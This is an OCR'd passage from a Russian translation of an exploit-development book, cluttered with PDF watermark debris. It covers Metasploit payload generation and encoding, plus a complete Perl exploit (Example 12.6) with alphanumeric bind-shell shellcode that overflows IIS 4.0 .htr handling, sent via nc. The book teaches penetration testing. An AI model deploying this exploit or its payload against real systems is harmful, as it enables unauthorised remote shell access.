Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

книги хакеры / Защита_от_взлома_сокеты,_эксплойты,_shell_код_Фостер_Дж_

.pdf
Скачиваний:
14
Добавлен:
19.04.2024
Размер:
3.68 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

Разработка эксплойтов с помощью каркаса Metasploit 621

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

-xcha

 

 

 

 

 

p

 

-x cha

 

 

 

 

 

 

 

 

 

Справка содержит не только короткие и длинные названия полезных на-

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

грузок, но и перечень аргументов, которые можно задать в командной строке. Так как мы атакуем программу, работающую под управлением ОС Windows на платформе x86, то выбирать следует лишь нагрузки с префиксом win32. Остановимся на нагрузке win32_bind, открывающей на уязвимой машине порт, при соединении с которым запускается оболочка (рис. 12.32). Следующий шаг – задать параметры полезной нагрузки. Указав в командной строке имя win32_bind и флаг S, мы получим дополнительную информацию о выбранной полезной нагрузке.

Рис. 12.32. Вывод параметров полезной нагрузки

У нее есть два обязательных параметра: EXITFUNC è LPORT, которые по умолчанию равны соответственно seh и 4444. Параметр EXITFUNC говорит, как полезная нагрузка должна «прибрать» за собой, когда закончит работу. Некоторые уязвимости можно эксплуатировать до бесконечности, если только правильно завершать исполнение. В ходе тестирования имеет смысл обращать внимание на то, как различные способы завершения сказываются на работе приложения. Параметр LPORT задает порт, на котором полезная нагрузка будет ожидать запросов на соединение.

Чтобы сгенерировать полезную нагрузку, достаточно задать значения параметров и выходной формат. Если указать флаг C, то нагрузка будет выведена в формате, пригодном для вставки в программу на языке C, а если флаг P – то в сценарий на языке Perl. Последний флаг R выводит нагрузку в двоичном формате для сохранения в файле или передачи по конвейеру утилите msfencode. Поскольку мы собираемся закодировать полезную нагрузку, то она будет нужна в двоичном виде, так что запишем ее в файл. Кроме того, ска-

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

622 Глава 12. Написание эксплойтов III

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

-xcha

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

жем, что оболочку нужно привязать в порту 31337. На рис. 12.33 показаны-x cha

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

варианты запуска с тремя разными флагами, а также результаты работы в каждом случае.

Рис. 12.33. Генерирование полезной нагрузки

Поскольку msfpayload не пытается избежать появления недопустимых символов, то форматы для C и Perl годятся лишь, если нет никаких ограничений на используемые символы. Обычно это не так, поэтому для исключения «плохих» символов нагрузку приходится кодировать.

В процессе кодирования нагрузка модифицируется так, чтобы в ней не было недопустимых символов. В качестве побочного эффекта этот процесс затрудняет опознание нагрузки системами IDS. При кодировании общий размер полезной нагрузки увеличивается, так как в нее включается декодер. На рис. 12.34 показано, как будет выглядеть получившаяся строка атаки.

Входящая в каркас Metasploit утилита msfencode выполняет весь процесс кодирования, принимая на входе результат работы msfpayload в двоичном формате

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Разработка эксплойтов с помощью каркаса Metasploit 623

 

to

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Рис. 12.34. Строка атаки с закодированной полезной нагрузкой и декодером

и применяя один из нескольких имеющихся кодировщиков. На рис. 12.35 показаны аргументы msfencode, задаваемые в командной строке.

Рис. 12.35. Аргументы msfencode

Âтаблице 12.1 перечислены включенные в каркас Metasploit кодировщики

ñкратким описанием и указанием поддерживаемой архитектуры.

Таблица 12.1. Перечень имеющихся кодировщиков

Кодировщик

Краткое описание

Архитектура

Alpha2

Алфавитно цифровой кодировщик

x86

 

от группы Skylined

 

Countdown

XOR кодировщик Call $+4

x86

 

с обратным отсчетом

 

JmpCallAdditive

Аддитивный XOR кодировщик

x86

 

Jmp/Call с обратной связью

 

None

«Пустой» кодировщик

все

OSXPPCLongXOR

Кодировщик LongXOR для MacOS X

ppc

 

на платформе PPC

 

OSXPPCLongXORTag

Кодировщик LongXORTag для MacOS ppc

 

X на платформе PPC

 

Pex

XOR кодировщик двойных слов

x86

 

Call $+4

 

PexAlphaNum

Алфавитно цифровой кодировщик

x86

 

Pex

 

PexFnstenvMov

XOR кодировщик двойных слов

x86

 

Fnstecn/mov переменной длины

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

624 Глава 12. Написание эксплойтов III

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

Перечень имеющихся кодировщиков (окончание)

 

.

 

 

 

 

g

.c

 

 

 

p

 

-xcha

 

 

 

 

 

p

 

-x cha

 

 

 

 

 

 

 

 

 

Таблица 12.1.

 

 

 

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Кодировщик

Краткое описание

Архитектура

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

PexFnstenvSub

XOR кодировщик двойных слов

x86

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Fnstecn/sub переменной длины

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

QuackQuack

XOR кодировщик двойных слов для

ppc

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

MacOS X на платформе PPC

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ShikataGaNai

Shikata Ga Nai

x86

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Sparc

XOR кодировщик двойных слов на

sparc

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

платформе Sparc

 

 

 

 

 

 

 

 

 

 

 

 

 

Чтобы повысить шансы на прохождение полезной нагрузки через фильтры, мы закодируем ее, представив в виде последовательности букв и цифр. Для этого можно воспользоваться кодировщиком Alpha2 или PexAlphaNum. Поскольку работает и тот, и другой, остановимся на PexAlphaNum. На рис. 12.36 показана информация об этом кодировщике.

Рис. 12.36. Информация о кодировщике PexAlphaNum

На последнем шаге двоичная полезная нагрузка, сохраненная в файле ~/framework/payload, кодируется с помощью PexAlphaNum, чтобы избавиться от нулевых символов. Результат представлен на рис. 12.37.

Итак, выбранный нами кодировщик сгенерировал алфавитно-цифровую полезную нагрузку, не содержащую нулей. Ее размер оказался равен 717 байтов. Закодированная нагрузка выведена в формате Perl, чтобы ее можно было непосредственно вставить в сценарий эксплойта.

Каркас Metasploit предлагает также графический вариант утилит msfpayload è msfencode, доступный через Web по адресу www.metasploit.com/ shellcode.html. Он позволяет выводить только те полезные нагрузки, которые соответствуют указанной операционной системе и аппаратной платформе. На рис. 12.38

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Разработка эксплойтов с помощью каркаса Metasploit 625

 

to

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Рис. 12.37. Результат работы msfencode

Рис. 12.38. Генерирование полезной нагрузки с помощью msfweb

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

626 Глава 12. Написание эксплойтов III

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

-xcha

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

показан результат фильтрации по операционной системе. В списке находит--x cha

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ся нагрузка Windows Bind Shell, с которой мы только что работали. Снова выберем ее же, для чего достаточно щелкнуть по ссылке.

После выбора полезной нагрузки мы попадаем на страницу, где можно задать параметры как самой нагрузки, так и кодировщика. На рис. 12.39 выбран порт 31337 и кодировщик PexAlphaNum. Кроме того, мы можем указать максимальный размер полезной нагрузки и набор недопустимых символов.

Рис. 12.39. Задание параметров полезной нагрузки в интерфейсе msfweb

Рис. 12.40. msfweb сгенерировал и закодировал полезную нагрузку

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

Разработка эксплойтов с помощью каркаса Metasploit 627

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

-xcha

 

 

 

 

 

p

 

-x cha

 

 

 

 

 

 

 

 

 

Чтобы сгенерировать и закодировать полезную нагрузку, достаточно щел-

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

кнуть по кнопке Generate Payload. Результат представлен на рис. 12.40 в обоих форматах: для C и Perl.

Рассмотрев различные методы, с помощью которых в каркасе Metasploit можно сгенерировать и закодировать полезную нагрузку, вставим ее в сценарий эксплойта (см. пример 12.6).

Пример 12.6. Сценарий для проведения атаки со вставленной полезной нагрузкой

1 $payload =

2 "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".

3 "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".

4 "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".

5 "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".

6 "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e".

7 "\x4f\x34\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x36\x4b\x58".

8 "\x4e\x56\x46\x42\x46\x32\x4b\x48\x45\x44\x4e\x53\x4b\x38\x4e\x37".

9 "\x45\x30\x4a\x37\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x51\x4b\x38".

10"\x4f\x45\x42\x32\x41\x50\x4b\x4e\x43\x4e\x42\x43\x49\x34\x4b\x58".

11"\x46\x43\x4b\x58\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x59\x4e\x4a".

12"\x46\x58\x42\x4c\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50".

13"\x44\x4c\x4b\x4e\x46\x4f\x4b\x53\x46\x55\x46\x32\x4a\x52\x45\x37".

14"\x43\x4e\x4b\x58\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x36\x4b\x48".

15"\x4e\x30\x4b\x54\x4b\x58\x4f\x55\x4e\x51\x41\x30\x4b\x4e\x43\x30".

16"\x4e\x32\x4b\x38\x49\x38\x4e\x56\x46\x32\x4e\x41\x41\x56\x43\x4c".

17"\x41\x33\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x43\x4b\x48\x42\x44".

18"\x4e\x30\x4b\x38\x42\x47\x4e\x31\x4d\x4a\x4b\x38\x42\x44\x4a\x50".

19"\x50\x35\x4a\x56\x50\x38\x50\x34\x50\x30\x4e\x4e\x42\x35\x4f\x4f".

20"\x48\x4d\x41\x33\x4b\x4d\x48\x56\x43\x55\x48\x46\x4a\x46\x43\x53".

21"\x44\x33\x4a\x36\x47\x47\x43\x47\x44\x53\x4f\x35\x46\x45\x4f\x4f".

22"\x42\x4d\x4a\x46\x4b\x4c\x4d\x4e\x4e\x4f\x4b\x53\x42\x55\x4f\x4f".

23"\x48\x4d\x4f\x55\x49\x38\x45\x4e\x48\x56\x41\x48\x4d\x4e\x4a\x30".

24"\x44\x30\x45\x45\x4c\x46\x44\x30\x4f\x4f\x42\x4d\x4a\x56\x49\x4d".

25"\x49\x30\x45\x4f\x4d\x4a\x47\x35\x4f\x4f\x48\x4d\x43\x45\x43\x45".

26"\x43\x45\x43\x55\x43\x55\x43\x44\x43\x45\x43\x44\x43\x35\x4f\x4f".

27"\x42\x4d\x48\x36\x4a\x46\x4c\x37\x49\x46\x48\x46\x43\x35\x49\x38".

28"\x41\x4e\x45\x59\x4a\x46\x46\x4a\x4c\x31\x42\x47\x47\x4c\x47\x35".

29"\x4f\x4f\x48\x4d\x4c\x46\x42\x31\x41\x55\x45\x45\x4f\x4f\x42\x4d".

30"\x4a\x56\x46\x4a\x4d\x4a\x50\x42\x49\x4e\x47\x35\x4f\x4f\x48\x4d".

31"\x43\x35\x45\x35\x4f\x4f\x42\x4d\x4a\x36\x45\x4e\x49\x44\x48\x58".

32"\x49\x54\x47\x55\x4f\x4f\x48\x4d\x42\x45\x46\x45\x46\x45\x45\x55".

33"\x4f\x4f\x42\x4d\x43\x49\x4a\x56\x47\x4e\x49\x37\x48\x4c\x49\x57".

34"\x47\x35\x4f\x4f\x48\x4d\x45\x35\x4f\x4f\x42\x4d\x48\x46\x4c\x46".

35"\x46\x56\x48\x56\x4a\x46\x43\x36\x4d\x56\x49\x38\x45\x4e\x4c\x46".

36"\x42\x55\x49\x55\x49\x42\x4e\x4c\x49\x48\x47\x4e\x4c\x46\x46\x34".

37"\x49\x48\x44\x4e\x41\x53\x42\x4c\x43\x4f\x4c\x4a\x50\x4f\x44\x44".

38"\x4d\x32\x50\x4f\x44\x44\x4e\x52\x43\x49\x4d\x58\x4c\x47\x4a\x33".

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

628 Глава 12. Написание эксплойтов III

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

e

 

"\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x56\x44\x37\x50\x4f\x43\x4b\x48\x51".

 

 

 

df-xchan

39

 

 

 

 

 

 

 

 

40

"\x4f\x4f\x45\x57\x46\x44\x4f\x4f\x48\x4d\x4b\x35\x47\x35\x44\x55".

 

 

 

 

 

 

 

 

41

"\x41\x55\x41\x35\x41\x55\x4c\x56\x41\x30\x41\x45\x41\x55\x45\x55".

 

 

 

 

 

 

 

 

42

"\x41\x35\x4f\x4f\x42\x4d\x4a\x46\x4d\x4a\x49\x4d\x45\x30\x50\x4c".

 

 

 

 

 

 

 

 

43

"\x43\x35\x4f\x4f\x48\x4d\x4c\x36\x4f\x4f\x4f\x4f\x47\x43\x4f\x4f".

 

 

 

 

 

 

 

 

44

"\x42\x4d\x4b\x38\x47\x45\x4e\x4f\x43\x48\x46\x4c\x46\x56\x4f\x4f".

 

 

 

 

 

 

 

 

45

"\x48\x4d\x44\x35\x4f\x4f\x42\x4d\x4a\x56\x42\x4f\x4c\x58\x46\x30".

 

 

 

 

 

 

 

 

46

"\x4f\x35\x43\x55\x4f\x4f\x48\x4d\x4f\x4f\x42\x4d\x5a";

 

 

 

 

 

 

 

 

47

 

 

 

 

 

 

 

 

 

48

$string = "GET /";

 

 

 

 

 

 

 

 

49

$string .= "A" x 589;

 

 

 

 

 

 

 

 

50

$string .= "\x85\x63\xf7\x77";

51$string .= $payload;

52$string .=".htr HTTP/1.0\r\n\r\n";

54 open(NC, "|nc.exe 192.168.119.136 80");

55 print NC $string;

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

56close(NC);

Âстроках 1–46 в переменную $payload заносится полезная нагрузка. В строках 48 и 52 задается вид запроса по протоколу HTTP и расширение имени файла .htr, а в строке 49 в запрос вставляются байты, предшествующие адресу возврата. Сам адрес возврата дописывается в строке 50, а за ним в строке 51 – полезная нагрузка. В строках 54-56 находится код, необходимый для передачи данных по сети. Окончательно строка атаки выглядит, как показано на рис. 12.41.

Рис. 12.41. Окончательная строка атаки

Запустив эксплойт из командной строки, мы можем проверить, как он поведет себя на машине-жертве. Результаты показаны на рис. 12.42.

Рис. 12.42. Успешный взлом машины MS Windows NT4 SP5 с IIS 4.0

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

Интегрирование эксплойта в каркас 629

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

-xcha

 

 

 

 

 

p

 

-x cha

 

 

 

 

 

 

 

 

 

В первой строке эксплойт запущен в фоновом режиме. Чтобы проверить,

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

сработал ли он, мы попробовали соединиться с портом 31337, заданным в процессе генерации. Как видите, соединение установлено, и мы получили оболочку на удаленной машине. Сработало!

Интегрирование эксплойта в каркас

С успехом завершив создание эксплойта, мы теперь займемся вопросом о том, как встроить его в каркас Metasploit Framework. Модуль, интегрированный в каркас, имеет по сравнению с автономным эксплойтом немало преимуществ. Будучи интегрирован, эксплойт получает в свое распоряжение такие механизмы, как автоматическое создание и кодирование полезной нагрузки, генерирование NOP-команд, простой интерфейс с сокетами и автоматическая вставка полезной нагрузки. Модульные подсистемы каркаса позволяют улучшить эксплойт, не меняя его кода, а также поддерживать его в актуальном состоянии. В Metasploit входит простой API для основных операций с TCP и UDP-сокетами, а также прозрачная работа с SSL и прокси-серверами. Как видно из рис. 12.9, автоматизация работы с полезной нагрузкой позволяет устанавливать необходимые соединения, не прибегая к помощи внешних программ и без написания дополнительного кода. И, наконец, каркас предоставляет понятный стандартизованный интерфейс, позволяющий создавать и передавать эксплойты в общее пользование гораздо проще, чем раньше. Принимая во внимание все эти достоинства, неудивительно, что разработ- чики эксплойтов стали отдавать предпочтение именно каркасам.

Внутреннее устройство каркаса

Каркас Metasploit Framework написан на объектно-ориентированном Perl. Весь код ядра и библиотек основан на использовании классов, как и каждый отдельный модуль эксплойта. Это означает, что разработка эксплойта для каркаса сводится к написанию некоторого класса, который должен соответствовать API, принятому в Metasploit. Но прежде чем углубиться в детали спецификации класса, разработчик должен понять основные принципы работы ядра. Поэтому поднимем капот и опишем взаимодействие между ядром и эксплойтом на всех этапах разработки и исполнения.

Первый шаг в процедуре организации атаки – выбор эксплойта. Для этого применяется команда use, которая заставляет ядро создать объект, принадлежащий классу эксплойта. В процессе создания объекта каркас устанавливает

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

630 Глава 12. Написание эксплойтов III

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

w Click

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 
